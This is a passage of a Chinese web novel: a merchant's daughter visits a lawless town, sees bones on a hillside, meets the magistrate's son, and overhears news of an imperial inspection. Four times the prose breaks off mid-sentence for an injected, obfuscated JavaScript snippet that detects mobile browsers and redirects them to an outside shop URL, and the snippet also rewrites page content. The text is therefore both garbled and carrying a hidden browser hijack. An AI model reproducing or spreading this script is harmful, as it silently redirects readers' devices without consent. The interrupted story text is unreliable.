我们再次走入街道。经过那炊饼摊时,我眼角余光瞥见,那两个孩子已经不见了。但那种被窥视的感觉,并未完全消失。仿佛暗处还有更多的眼睛,在打量着这群与周遭环境格格不入的“肥羊”。
茶楼所在的地段明显热闹得多,应该是在镇子中心,招牌上写着“清风楼”三字。比起刚才经过的地方,这里总算有了几分城镇的模样,客人也多,喧声不断。
我们在二楼要了个临窗的雅间,点了些简单的茶点。母亲似乎有些疲惫,靠在椅背上,闭目养神。我坐在窗边,看着楼下街景。
从这个角度,能看到更远的巷陌纵横,灰黑色的屋顶连绵起伏,其间夹杂着些许歪斜的棚户。镇子边缘残破的土墙和几处尚未完全修复的屋基应该是去年洪水留下的痕迹。更远处,是郁郁葱葱的山峦轮廓。
阿山和妞妞,就长眠在那片山中的某个角落吗?
“晚琪。”母亲忽然开口,依旧闭着眼,“今日所见,有何感想?”
我收回目光,看向她。她脸上带着淡淡的倦意,问话的语气却平和。
“……民生多艰。”我斟酌着词句,“与家中……很是不同。”
“嗯。”母亲缓缓睁开眼,目光落在我脸上,带着一种审视的意味,“你今日这身打扮与平时大有不同,何意?”
我垂下眼:“女儿,想着清河镇鱼龙混杂,怕华服招眼,徒惹是非。”
母亲轻轻“呵”了一声,听不出是赞许还是别的什么。
“你倒是想得明白。有些是非,不是你想避就能避开的。”她端起茶杯,抿了一口,“规矩是死的,人是活的。真该你遇上了,你要想的是怎么去解决,而不是怎么去躲。”
她的话,像是在教导我处世之道,又像是在告诉我她对清河镇的规矩并不陌生。
“那位李师爷……”我试探着问,“有很大权势吗?”
母亲放下茶杯,指尖在杯沿轻轻摩挲:“官府的事,水深。一个师爷,未必有多大权势,但他能拟出那样的规矩,且能让下面的人如此秉公执行,背后……”她没再说下去,只淡淡道,“总之,林家在此地虽有薄名,但强龙不压地头蛇,有些事,不宜深究。”
不宜深究……我缩缩脖子,我也没胆子去深究,我现在只想回林府,活动范围仅限州府,这辈子再也不想出城了。
茶点上来,是几样粗糙的点心,与林府厨子的手艺天差地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119599|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
别。母亲只略动了动筷子,便放下了。我也没什么胃口。
雅间外,传来其他客人的谈笑声,粗嘎而响亮,夹杂着本地方言的俚语。
“……西头老陈家那小子,前天晚上又不见了!才十一岁,说是起夜,人就没了……找了一夜,连根头发都没找到……”
“唉,这都第几个了?报官顶个屁用!那些差爷就会说‘流民混杂,自行看管’……”
“我听说啊,不止小孩。前些日子,码头那边几个扛活的青壮,干完活去喝酒,醉醺醺的,第二天也没影了……”
“嘘!小声点!不要命了?我跟你讲,我隔壁那家,前个月不是收留了个逃荒来的远亲,半大小子?没两天,就有人上门,说是那小子爹娘欠了印子钱,要拿人抵债!那家人不肯,当晚房子就着了火,幸亏跑得快……”
“印子钱?我看是‘鬼见愁’吧!那些人,专挑没根底的、家里没壮丁的下手……”
“鬼见愁”三个字,让说话的人声音陡然压低,后面的话便听不清了。但那股寒意,却顺着脊梁骨爬了上来。
人口贩卖。不止是孩子,还有青壮。手段狠辣,背景不明。甚至可能与衙门有千丝万缕的联系……
我看向母亲,她似乎也听到外面的议论,神色依旧平静,只是端起茶杯的手,几不可察地顿了一下。
“母亲,”我声音干涩,“他们说的……”
“道听途说,不足为信。”母亲打断我,语气不容置疑,“用了饭,歇息片刻,我们就回去。”
她显然不想再谈论这个话题。
我沉默下来,看着窗外。阳光不知何时被云层遮住,天色变得有些阴沉。街道上的人影似乎也匆忙了许多。李大先生那张贪婪而冰冷的脸,再次浮现在眼前。他逃往的方向,就是清河镇。他那样的人,在这样的地方,会如鱼得水吗?
还有周绣娘表亲铺子里被掳走的孩子,巷子深处可疑的声响,以及空气中时隐时现的甜腻腐败气味……这些碎片勾勒出一张模糊而狰狞的网,而我此刻正站在这张网的边缘。
午膳草草结束,护院们再次簇拥上来。就在我们即将登上马车时,我无意间回头,望向镇子西头。远远的,似乎看到某个巷口,有一个人影一闪而过。那人影有些熟悉,精瘦,微跛……像是……李大先生?
我心头剧震,定睛再看时,巷口空空如也,只有风吹动着地上的废纸屑。
是眼花了吗?还是……
“晚琪,上车。”母亲的声音传来,带着一丝催促。
我深吸一口气,压下心中的惊涛骇浪,转身踏上了马车。车厢内,安息香的味道再次包裹上来。母亲依旧闭目养神,仿佛刚才的一切都未曾发生。
车轮滚动,朝着镇外驶去。我靠在车壁上,掌心一片冰凉。那个一闪而过的身影,像一根刺,扎进了我的心里。噩梦,从未远离,它只是换了一张面孔。
19. 第十九章 狼标子
从清河镇回来后,我连着好几晚都没睡踏实。
梦里总闪过对街巷口那块“义庄”的破木牌,还有那两个孩子饿狼似的眼睛。白天在府里,吃着精致的点心,摸着光滑的绸缎,那股甜腻腐败的气味和粗嘎的议论声却好像还黏在鼻腔和耳朵里,怎么都散不掉。最让我心头发毛的,是那个巷口一闪而过的、疑似李大先生的身影。是真的吗?还是我吓破了胆,看什么都像他?
我打定主意,这辈子就缩在林府这方天地里,外面的世界太可怕了。至于阿山和妞妞,他们死了,烂在山里,连个坟都没有。一想到这个,我心里就像堵了块湿棉花,闷得难受。倒不是多深的悲痛,我自己都已经死在那儿过一次,哪还有那么多闲情去哀悼别人。就是一种……说不清道不明的别扭。好像欠了债没还,硌得慌。
对,就是欠债。他们帮过我,特别是阿山,当初撑起了我的全部世界,现在曝尸荒野,我却在林府锦衣玉食。我得给他们收尸,找个地方埋了,立块简单的碑。这样,我心里就踏实了,就能心安理得地继续当我的林大小姐,享受这泼天的富贵。可我绝不想再踏足清河镇,更别说进山了,那地方现在跟个张着嘴的怪兽没两样。
那就雇人。林府有的是钱,雇几个胆大可靠的,给足银子,让他们去把事儿办了。这主意让我心里松快了不少。我甚至开始盘算,该找谁去办,给多少银子合适,要不要立碑,碑上刻什么……
还没等我想出个具体章程,父亲把我叫去了书房。
书房里燃着上好的沉水香,气味清冽宁神。父亲坐在宽大的紫檀木书案后,手里拿着一封帖子,见我进来,脸上露出温和的笑意。
“晚琪,过来坐。”
我依言坐下,心里有些打鼓。父亲平日忙于生意,很少单独叫我。
“看看这个。”他将帖子推过来。
我接过,是洒金笺,字迹工整雅致。落款是“长桥县正堂赵”,邀请林府夫人并小姐,于三日后赴县令夫人在城郊“沁芳园”举办的春日赏花雅集。
“赵县令新到任不久,有意与本地士绅商户多加亲近。此次雅集,是个好机会。”父亲缓缓道,手指轻叩桌面,“你母亲自然是要去的。你……也一同去吧。”
我心里“咯噔”一下,脱口而出:“父亲,我……女儿听闻清河镇近来不甚太平,龙蛇混杂……”
父亲摆摆手,打断我:“雅集设在沁芳园,那是赵县令的私园,守卫周全,去的也都是有头有脸的人家,与市井无涉。你前次去,是看铺子,走的是商街,自然觉得杂乱。此次不同。”
他看着我,目光里带着不容置疑的期许:“晚琪,你已及笄,是大人了。林家在此地初来乍到,香料生意刚刚铺开,需要站稳脚跟。与官眷交往,是你母亲的责任,也是你该学的处世之道。多见见世面,与各家小姐相识,于你,于林家,都是好事。”
他语气平和,却字字千斤。我张了张嘴,那句“我不想去”在喉咙里滚了几滚,终究没敢吐出来。父亲说的在理,于公于私,我都没有拒绝的余地。更何况,他又提到守卫周全、与市井无涉,这多少给我一点虚弱的安慰。
“是,女儿明白了。”我低下头,声音干涩。
父亲满意地点点头:“去准备吧。衣着不必过于奢华,端庄得体即可。赵夫人出身书香门第,喜好清雅。”
从书房出来,我脚步有些发飘。赏花雅集……听起来是再安全不过的闺阁交际。可那是清河镇,是狼窝。我脑子里乱糟糟的。
三日后,我们再次出发。
这次阵仗比上次更大。四辆马车,十名护院,还有母亲身边最得力的两个嬷嬷和四个大丫鬟。马车也更华贵,帷幔用的是雨过天青色的软烟罗,拉车的马匹神骏非凡。一路行去,引得路人纷纷侧目。马车出了城,走上官道。天气很好,阳光明媚,田野里绿意盎然。可我的眼睛总忍不住瞟向路旁那些或坐或卧的流民,心里计算着离清河镇还有多远。走了约莫一个时辰,前方出现岔路。一条是平坦的官道,直通清河镇,另一条是略窄些的土路,蜿蜒伸向远处的山峦。
我们的车队,竟然转向了那条土路。
“母亲,我们不是去沁芳园吗?”我忍不住问。
母亲正闭目养神,闻言眼也没睁:“嗯。赵夫人派人传了话,说昨夜一场急雨,通往沁芳园必经的那座溪桥被水漫了,车马难行。为免耽误,让我们绕行一段山路,从后园门进去,路程虽略远些,但更稳妥。”
绕行山路……
我心头一紧,下意识地撩开车窗帘子往外看。土路颠簸,两旁是茂密的树林,阳光透过枝叶洒下斑驳的光影。远处,山峦的轮廓在阳光下显得清晰而沉默。
青石村,就在那片山里。
阿山和妞妞,也在那片山里。
马车在崎岖的山路上缓慢前行,颠簸得更厉害了。我被晃得有些头晕,胸口也阵阵发闷。
“小姐,您脸色不太好,可是颠着了?”春竹担忧地问。
“有点闷。”我低声道,“能停一下吗?我透透气。”
母亲看了我一眼,点点头,吩咐车夫在前方平坦处稍停。
马车停稳,春竹扶我下车。脚踩在略有些松软的山路上,清新的草木气息扑面而来,冲淡了车厢里沉水香的腻味。我深深吸了几口气,感觉稍微好了些。
护院们分散在四周警戒。母亲也在嬷嬷的搀扶下下了车,活动一下身子。
我无意识地往前走了几步,站到路边一块略高的石头上,想看得更远些。这里地势较高,可以俯瞰下方层叠的山谷。阳光有些刺眼,我眯起眼睛,目光漫无目的地扫过远处苍翠的山岭。忽然,我的视线被右前方一个山坡吸引。
那是一片向阳的斜坡,在灰褐色的岩石和零星的绿色之间,有一片刺眼的白。那白色并不规整,东一簇西一块,支棱着,在阳光下反射着冷硬的光。距离太远了,看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119600|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不清具体形状,但那种突兀的、不祥的白色,在一片自然的苍翠与土褐中,显得格外扎眼。
那是什么?矿石?还是……
我正愣神,旁边传来两个护院压低嗓音的交谈。他们是我家的护院,正和一位穿着皂衣,像是本地差役打扮的人说话。那差役大概是赵县令派来引路的。
其中一个护院,指着那片白色区域的方向,问那差役:“兄弟,那边山坳看着挺荒,没什么人家吧?”
那差役顺着方向瞥了一眼,脸上立刻露出一种混杂着忌讳和了然的神情,他摆摆手,声音压得更低:“可别提那地儿!晦气!老猎户和山里人都知道,那儿是块凶地,老早就有名头的。”
“哦?什么名头?”我家护院好奇地问。
差役咂咂嘴:“那是‘狼标子’。看见那一片白花花没有?不是什么石头,是去年山洪之后就出现在那里的死人骨头,风吹日晒雨淋,就杵在那儿了。邪性得很!都说那附近有老狼窝,看见那些骨头,就说明离狼群地盘不远了,绕着走都来不及!咱们本地人,除非不要命,否则绝不往那跟前凑。”
“啧啧,原来如此。”我家护院摇摇头,不再多看。
那差役又补充道:“几位爷护送主家,更得小心。这山路虽然绕开了镇子里的腌臜,但山野之地,也不可不防。尤其是……咳,最近不太平,有些黑心的,专挑荒僻处下手。”他说着,意有所指地又瞟了一眼狼标子的方向。
斜坡分为高低坡,高坡被笼罩在树荫里,低坡则没有什么高耸的植被,所以那具骸骨褪去皮肉后便成了最醒目的地标。坡面联结的地方有几块很大的岩石,而高坡正好可以站上一个冷眼旁观的人。
我浑身血液瞬间冻住了。
那片刺眼的白,难道是……?
一股强烈的恶心和眩晕猛地冲上来,我腿一软差点滑倒。
“小姐!”春竹惊呼一声和秋穗连忙上前扶住我。
“怎么了,晚琪?”母亲也关切地看过来。
我脸色煞白,嘴唇哆嗦着,一个字也说不出来。只是死死抓住春竹的手臂,指甲几乎要掐进她的肉里。眼睛却像被钉住了一样,无法从远处那片白色上移开。
那是警告。
我胃里翻江倒海,猛地弯下腰,干呕起来,却什么也吐不出,只有酸水灼烧着喉咙。
“快,扶小姐上车!定是山路颠簸,又吹了风,犯恶心了。”母亲连忙吩咐。
我被春竹和秋穗几乎是架着回到了马车里。车厢内沉水香的味道再次包裹住我,却让我更加窒息。
马车重新启动,颠簸着继续前行。我蜷缩在软垫上,紧紧闭着眼睛,可那片白色却仿佛烙在了我的脑子里,挥之不去。
雇人收尸的念头,在这一刻变得无比清晰,也无比迫切。
对,雇人。花多少钱都行。找最胆大、最可靠的人,去那个狼标子,找到阿山和妞妞的遗骸,把他们好好安葬。
20. 第二十章 沁芳园
马车最终停在了一处清幽的园子外,园墙不高,能看见里面探出的花枝,粉白嫣红,开得正盛。门口已有几辆马车停着,衣着体面的仆从垂手侍立,气氛与清河镇街市的嘈杂混乱判若两个世界。
赵县令派来的差役上前与门房交涉,很快,一个穿着体面约莫四十岁的嬷嬷带着两个小丫鬟迎了出来。
“林夫人,林小姐,一路辛苦了。”嬷嬷笑容得体,行礼周到,“夫人正在‘馨竹轩’待客,命奴婢在此迎候。请随奴婢来。”
园内景致精巧,曲径通幽,移步换景。假山玲珑,引活水成溪,潺潺流过竹桥。花木显然经过精心打理,海棠、玉兰、丁香竞相开放,空气里浮动着清雅的花香,混合着远处隐约飘来的檀香气,洁净得让人恍惚。
路上遇见两三拨同样被引路的客人,皆是夫人小姐,衣着或华贵或清雅,彼此微笑颔首,低声寒暄,一派闺阁交际的和煦景象。护院和大部分仆从都留在了园外,只有春竹、秋穗和母亲身边的两个贴身嬷嬷跟着。
馨竹轩临紫竹林而建,是座敞轩,四面轩窗大开,垂着竹帘,既通风透光,又保有私密。轩内已落座七八位女眷,衣香鬓影,低声谈笑。主位上是一位三十五六岁的妇人,穿着织金缎褙子,容貌端庄,眉目温和,想必就是赵县令夫人。
见我们进来,赵夫人含笑起身:“林夫人来了,快请坐。这位便是晚琪小姐吧?果然好模样。”
母亲带着我上前见礼。赵夫人亲自虚扶,又将我拉到近前细看,笑道:“早听我们老爷提过,林府小姐蕙质兰心。今日一见,这通身的气度,倒比传闻更胜几分。”她语气真诚,目光里带着欣赏,让人如沐春风。
我被安排坐在赵夫人下首不远的位置,春竹和秋穗悄无声息地侍立在我身后。
席间话题自然是围绕着园子里的花,时新的衣料,各家儿女的趣事,偶尔也提及几句无关痛痒的时局或诗词。气氛融洽而舒缓。我大部分时间都是安静听着。阳光透过竹帘,在光洁的金砖地上投下柔和的光斑,熏笼里飘出淡淡的沉水香,混着茶香花香。
直到赵夫人似不经意地提起:“说起来,今日本该让犬子也来给各位夫人请个安,只是不巧,他早间被同窗拉去镇西‘慈济庵’后山那片桃林赏花题诗去了,说是要效仿古人‘曲水流觞’。年轻人贪玩,让各位见笑了。”
镇西。慈济庵后山。
我捏着茶杯的手指几不可察地一紧。那个方向……离“狼标子”和青石村所在的西岭,似乎不算太远。
座中一位穿着宝蓝色褙子的夫人笑道:“赵公子少年才俊,风流雅致,正是该如此。听说去年秋闱,公子可是高中了秀才头名?”
赵夫人掩口轻笑,眼里是藏不住的欣慰与骄傲:“不过是侥幸罢了。这孩子,心思活泛,就爱鼓捣些诗词杂学,他父亲总说他不务正业。”
“赵夫人过谦了,谁不知赵公子是咱们县有名的才子……”众人纷纷附和,话题便转到了各家儿女的学业前程上。
茶过两巡,赵夫人提议去园中走走,亲自赏花。众人自然欣然应允。
沁芳园确实不大,但布局巧妙。我们一行人沿着蜿蜒的小径漫步,赵夫人不时指点着路边的花木,说起它们的来历、习性,甚至吟上一两句应景的诗,引得众人称赞。母亲也恰到好处地接话,谈论些栽培心得。我默默跟在母亲身侧,目光掠过那些娇艳的花朵,心思却总是不由自主地飘远。
穿过竹林,眼前豁然开朗,是一处临水的开阔草坡,绿草如茵,点缀着星星点点的野花。坡上已有三四人,皆是少年书生打扮,正围着一块平整的大石,上面铺着纸笔,似乎在争论着什么。
“咦,那不是犬子他们吗?”赵夫人有些意外,随即笑道,“说是去镇西,怎么倒跑回园子里来了?”
那群少年闻声回头。为首一人,约莫十七八岁年纪,穿着月白色直裰,身形清瘦挺拔,面容俊秀,尤其一双眼睛,明亮有神,顾盼间带着读书人特有的清朗之气,却又没有太多迂腐味。他看到我们,尤其是看到赵夫人,脸上立刻露出笑容,快步迎了上来。
“母亲。”他先行礼,又向各位夫人团团一揖,“小侄赵珩,见过各位夫人。不知母亲在此赏花,打扰了。”
举止从容,礼节周全,声音清越。
“你不是去慈济庵后山了?”赵夫人问。
赵珩笑道:“原是要去的,走到半路,陈兄忽有所感,非得立刻寻个清静处把诗句记下来,说怕到了地方,灵感反而被桃花晃花了眼。我们一想,自家园子岂不更清静?便拐回来了。”他语气轻松,带着点少年人特有的随意和狡黠。
众夫人皆笑。赵夫人笑骂:“就你们歪理多。”又向我们介绍,“这便是犬子赵珩。珩儿,这位是林夫人,这是林府晚琪小姐。”
赵珩的目光自然落在我身上。他再次拱手,态度端正,并无逾矩打量,但那双明亮的眼睛里,闪过一丝恰到好处的好奇与礼貌的欣赏。“林夫人,林小姐。”
我依礼微微屈膝:“赵公子。”垂下眼帘,能感觉到他的目光在我身上停留了一瞬,很轻,很快便移开了。
母亲与赵夫人说了几句客气话,夸赞赵公子勤勉好学。赵珩谦逊应对,言辞得体,又不失风趣,引得几位夫人频频点头,显然对他印象极佳。
我站在母亲身侧,扮演着安静羞怯的闺秀角色,心里却有些恍惚。赵珩……他看起来干净、明亮、充满朝气,像这园子里最挺拔的一竿修竹,沐浴在阳光和书香里。他谈论诗词,争论句读,烦恼的是灵感来去。他离外面的泥泞和死亡太远,远得像另一个世界的人。一种极其复杂的情绪缠绕上来。是羡慕他活在光明洁净里?还是隐隐觉得,这种洁净之下,是否也掩盖着某些他不曾看见、或不愿看见的污秽?我说不清。
“林小姐平日也喜读诗书吗?”赵珩的声音忽然响起,是对着我问的,语气温和。
我回过神,抬起眼,对上他含笑的眸子。他问得很自然,像是寻常的寒暄。
“略识得几个字,不敢说‘喜读’。”我轻声答,语气是练习过的温婉谦逊,“不过是闲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119601|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时翻看些杂记,打发时光罢了。”
“杂记亦有杂记的趣味。”赵珩笑道,“家母常说,读书不必拘泥经史,开阔眼界、陶冶性情便是好的。听闻林府藏书颇丰,想必林小姐涉猎甚广。”
他这话接得巧妙,既捧了林府,又给了话题。我不知他是真心客套,还是出于礼节。只得继续应道:“公子过誉了。不过是父亲经商,有些各地风物志略罢了。”
“风物志略好啊!”旁边一位姓陈的少年书生插话,显得活泼些,“赵兄正想找本靠谱的《岭南山川考》呢,市面上那些多是胡编乱造。林老爷走南闯北,府上的藏书定然珍贵。”
赵珩笑着看了同伴一眼,对我道:“陈兄心直口快,林小姐莫怪。不过,若府上真有此类书籍,不知可否借阅一二?定然小心爱护,如期奉还。”
他态度恳切,眼神清澈,让人难以拒绝。而且,这似乎是一个正常又体面的,属于“林晚琪”这个身份的社交开端。
我看向母亲。母亲微笑着,对我几不可察地点了点头。
“公子若感兴趣,我回府后问问父亲。”我柔声道,“只是父亲藏书杂乱,未必能有公子所需。”
“无妨,先谢过林小姐。”赵珩拱手,笑容更明朗了些。
又闲谈了几句,赵夫人便道不耽误他们年轻人切磋学问,带着我们继续往别处去了。转身离开时,我似乎感觉到赵珩的目光又在我背影上停留了一刹。
走远了,一位夫人笑着对赵夫人道:“令公子真是温文尔雅,才貌双全。不知可定了亲事?”
赵夫人笑道:“他还小,心思都在书本上,他父亲也说,男儿当先立业。这些事,不急。”
众人便又笑着岔开话题。
我默默走着,指尖无意识地捻着袖口。借书……一个简单、正当的理由。赵珩看起来是个正派的官家公子,与他交往,符合林府的利益,也符合“林晚琪”该走的路。
雅集在午后便散了。回程的马车上,母亲闭目养神,半晌,忽然开口:“赵公子倒是个知礼的。”
我“嗯”了一声。
“他既开口借书,你便上心些。回头我让你父亲挑两本合适的,你誊抄个书目单子,改日派人送去县衙后宅。”母亲语气平淡,却带着明确的指示。
“是,母亲。”
“赵夫人今日对你颇为留意。”母亲顿了顿,睁眼看向我,那目光里带着审视与考量,“举止还算得体,只是……话太少了些。往后这种场合,该说话时,也要学着说两句。”
“女儿知道了。”
母亲不再言语。
我靠在车壁上,看着窗外飞速后退的田野。阳光很好,可我只觉得冷。
借书,送书目,或许还有下一次的见面,更进一步的交往……一条清晰、平坦、通往更稳固富贵与体面的路,正在我面前展开。
这大概便是我这次实验的要经历的主要剧情了。我耳边忽然就响起研究人员说的话:时间跨度可能从几个月到几年不等,取决于您的神经适应性和剧情走向。
21. 第二十一章 山雨欲来
回府后的几日,母亲对赵珩颇为赞许,认为这是林家与本地官宦建立更自然联系的良机。父亲也默许了,还让管家从书房挑了几本不算珍本但内容扎实的游记方志,让我誊抄书目。
书房里很安静,只有墨条在砚台上研磨的沙沙声,和笔尖划过宣纸的细微声响。阳光透过雕花窗棂,在紫檀木书案上投下斑驳的光影。空气里是陈年纸张、墨香和淡淡樟木混合的气味,安稳得让人昏昏欲睡。
我抄得很慢,心思总是不集中。《海国闻见录》《东南洋番舶考》《岭表异闻》……这些书的名字都透着遥远与陌生,是这次的我应该了解的世界。可我的手总是不听使唤,写着写着,眼前就仿佛出现那片向阳坡上刺眼的白,在阳光下冷冷地反着光。
“小姐,有墨迹。”春竹在一旁轻声提醒,递过一方干净的帕子。
一滴墨汁不知何时滴在纸上,慢慢晕开变成一小团污迹。
“……许是昨晚没睡好。”我含糊道,放下笔,接过帕子擦了擦指尖,那墨迹却像怎么也擦不干净似的,“歇会儿。”
春竹连忙去沏茶。我靠在椅背上,看着满架的书。林府的藏书确实丰富,除了经史子集,还有大量父亲经商所需的地方志、物产录、海路图。他说过,生意人要眼观六路,耳听八方,这些书就是他的眼睛。
我闭上眼,那片白色又在脑海里浮现,清晰得令人心悸。还有阿山和妞妞……他们是不是也躺在那里,或者附近?这个念头像一根冰冷的针,时不时就扎我一下。雇人收尸的打算,随着日子一天天过去,被林府这温水般的安逸慢慢泡软了。出去找人的麻烦、可能遇到的风险、如何瞒过父母……每一样都让我望而却步。
也许……再等等?等这阵心烦过去?或者,等一个更稳妥的机会?
我正胡思乱想着,外间传来熟悉的脚步声,是管家林福。他步履比平日急促,到了书房门外停下,低声唤了句“老爷”。
父亲正在里间看书,闻声道:“进来。”
林福推门而入,又迅速将门掩上。我坐在外间,隔着博古架和垂落的珠帘,只能看见他们模糊的身影,听到刻意压低的交谈声。起初只是些琐碎的账目回禀,田庄的春耕,铺子的流水,声音平稳。但很快,林福的语调变了,那种职业性的恭谨里,掺进了一丝不易察觉的紧绷。
“……京里二老爷递了急信过来,用的是家里的暗路,今日晌午刚到。”
“说。”父亲的声音沉静,听不出波澜。
“信上说,朝廷……对去年水患后的情状,不甚满意。尤其是连州这边,赈济款项、流民安置,还有……”林福顿了顿,声音压得更低,几乎成了气音,“海港往来的税银账目,似乎引起了都察院的注意。有御史上本,言及海贸利大,易生弊病,恐有官商勾连,侵吞国库之事。”
连州?我捏着袖口的手指无意识地收紧。那是管辖长桥县、清河镇,乃至青石村那片山区的大州府,朝廷重要的海港所在。林家的香料生意,不少原料来自大洋,成品也经连州港口运往西方乃至海外。父亲近年来着力开拓的,正是这条海路。
“都察院?”父亲重复了一遍,语气依旧平稳,但里间传来了书页被轻轻合上的声音。
“是。圣上点了都察院一位何姓御史,代天巡狩,南下巡查。第一站……便是连州。”林福的声音带着清晰的忧虑,“二老爷特意嘱咐,这位何御史素有‘铁面’之名,不徇私情,最恨贪墨渎职、官商勾结、盘剥百姓。让咱们……千万谨慎,近期尤其要厘清所有账目往来,勿授人以柄。”
里间陷入了更长的沉默,只有父亲手指轻叩紫檀木桌面的声音,一下,又一下,敲在人心上:“……什么时候的事?消息确凿?”
“二老爷的信儿,向来准。具体行程未定,但风声既起,怕是快了。州府衙门那边,此刻恐怕也已得了信,正不知如何应对。老爷,咱们……”林福的话没说完,但意思很明显。
“连州上下,怕是要有一场地震了。”父亲缓缓道,声音里听不出太多情绪,但那份凝重却透过珠帘传了过来,“咱们在清河镇新开的铺子,还有州府港口的货栈,所有账目,可都清楚?经得起查?”
“回老爷,一清二楚,各项税契俱全,往来票据分明,绝无半点含糊。库房存货也与账目吻合。”林福答得很快,显然早有准备,“只是……”他犹豫了一下,声音更低,“清河镇地面复杂,流民、牙行、烟膏铺子混杂,龙蛇不分。万一御史到了,亲眼目睹那般景象,即便与咱们铺子无干,只怕……也会对本地官商风气,留下极坏的印象。咱们林家新来,恐受池鱼之殃。”
“那是地方官府的治理之责。”父亲的声音冷静而清晰,带着一种斩断犹豫的果断,“我们林家,按律经商,照章纳税,便是本分。至于地方治政如何,非商户所能置喙,亦不应牵连商户。不过……”他话锋微转,“小心驶得万年船。告诉下面所有人,从今日起,到御史离开连州为止,务必谨言慎行,各处的账目更要清晰如镜,每日核对,不得有误。与衙门里各位大人的寻常礼节往来照旧,但任何可能引人猜疑的‘私下’举动,馈赠,一概暂停。尤其是清河镇那边,叮嘱掌柜和伙计,只管自家生意,莫议是非,莫近争端。一切,等这阵风过去再说。”
“是,老爷。老奴这就去吩咐。”林福应道,稍松了口气,又问,“那……赵公子借书之事?书目已快誊抄好了。”
“照常。”父亲答得很快,几乎没有犹豫,“小儿女间的寻常雅事,诗书往来,最是风雅清白,无伤大雅,反而显得自然。书目抄好,你亲自检视无误,便派个稳妥人,送往县衙后宅,交给赵夫人身边的管事嬷嬷即可。不必多言,更不必附和他物。态度恭敬,但只做分内之事。”
“老奴明白。”林福顿了顿,似乎还有话说,“老爷,二老爷信里还提了一句,说这位何御史……与寻常巡查不同,似乎带了圣命,有临机专断之权。咱们在州府和京里的那些关系,恐怕……暂时都不便走动了。”
“知道了。”父亲的声音里终于透出一丝极淡的凝重,“非常之时,各行其事,保全自身为上。你去吧。”
“是。”林福躬身退了出去,小心地带上了门。
书房里恢复了寂静,但那份无形的压力却仿佛凝成了实质,沉甸甸地弥漫在空气中,连阳光都显得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119602|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晦暗了几分。我坐在外间,手里的茶已经凉了。
御史……巡查连州……铁面……官商勾结……
这些词组合在一起,像一块沉重的石头压下来。林家是富商,赵家是地方官,我们刚刚开始走动。这“走动”,在一位专查此类问题的铁面御史眼里,会是什么?
我又想起清河镇玲珑阁前那些拿着铁尺有恃无恐的汉子,想起周绣娘表亲的遭遇,想起空气中甜腻腐败的气味,还有……那个一闪而过疑似李大先生的身影。
赵县令知道这些吗?他能管得住吗?那位“秉公”拟定勒索规矩的李师爷,又是什么来路?如果御史真的来了,看到这些,赵县令会如何?刚刚在清河镇铺开生意的林家,会不会被牵连?
“晚琪。”父亲的声音忽然从里间传来,打断了我的怔忡。
我吓了一跳,连忙应道:“父亲。”声音有些发干。
“书目抄得如何了?”父亲问,语气如常。
“还……还需些时辰。”我低头看着纸上那团墨渍和寥寥几行字,有些心虚,“女儿……女儿方才有些走神。”
父亲从里间走了出来,站在书案前。他没有立刻去看我抄写的纸张,而是先看了看窗外渐阴的天色,然后才将目光落在我脸上。那眼神平静依旧,但深处似乎比平日多了一层审视的意味,像在评估一件器物的成色,又像在掂量一副棋子的分量。
“无妨。”他缓缓道,“字迹务求工整,内容不可错漏。赵公子是读书人,又是官宦子弟,这些细节,最是考较家教门风。”
“是,女儿一定仔细。”
“嗯。”父亲微微颔首,停顿了一下,才用那种平淡却不容置疑的语气说道:“近日外面或许有些传言,风声鹤唳。你只需待在府中,安心做些女儿家该做的事,陪陪你母亲。若有外人,哪怕是府里不相干的下人,问起家中事务,或与衙门往来,一概回说‘不知’、‘不晓’,明白吗?”
他的语气并不严厉,甚至算得上温和,但话里的分量却让我心头一凛,脊背微微发凉。这不是商量,是告诫,是划下界限。
“女儿明白。”我垂下眼,不敢与他对视。
